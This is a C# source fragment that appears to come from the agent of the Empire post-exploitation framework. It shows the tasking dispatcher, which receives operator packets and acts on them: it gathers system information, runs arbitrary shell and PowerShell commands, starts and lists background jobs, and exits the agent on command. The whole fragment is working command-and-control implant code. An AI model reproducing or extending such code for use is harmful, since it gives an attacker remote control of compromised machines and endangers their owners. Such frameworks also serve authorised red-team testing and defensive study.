//////////////////////////////////////////////////////////////////////////////// //The hard part //////////////////////////////////////////////////////////////////////////////// private byte[] processTasking(PACKET packet) { byte[] returnPacket = new byte[0]; try { //Change this to a switch : case Int32 type = packet.type; switch (type) { case 1: byte[] systemInformationBytes = EmpireStager.GetSystemInformation("0", "servername"); String systemInformation = Encoding.ASCII.GetString(systemInformationBytes); return(encodePacket(1, systemInformation, packet.taskId)); case 2: String message = "[!] Agent " + sessionId + " exiting"; sendMessage(encodePacket(2, message, packet.taskId)); Environment.Exit(0); //This is still dumb return(new byte[0]); case 40: String[] parts = packet.data.Split(' '); String output; if (parts.Length == 1) { output = Agent.invokeShellCommand(parts[0], ""); } else { output = Agent.invokeShellCommand(parts[0], parts[1]); } byte[] packetBytes = encodePacket(packet.type, output, packet.taskId); return(packetBytes); case 41: return(task41(packet)); case 42: return(task42(packet)); case 50: List <String> runningJobs = new List <String>(jobTracking.jobs.Keys); return(encodePacket(packet.type, runningJobs.ToArray(), packet.taskId)); case 51: return(task51(packet)); case 100: return(encodePacket(packet.type, Agent.runPowerShell(packet.data), packet.taskId)); case 101: return(task101(packet)); case 110: String jobId = jobTracking.startAgentJob(packet.data); return(encodePacket(packet.type, "Job started: " + jobId, packet.taskId)); case 111: return(encodePacket(packet.type, "Not Implimented", packet.taskId)); case 120: return(task120(packet)); case 121: return(task121(packet)); default: return(encodePacket(0, "Invalid type: " + packet.type, packet.taskId)); } } catch (Exception error) { return(encodePacket(packet.type, "Error running command: " + error, packet.taskId)); } }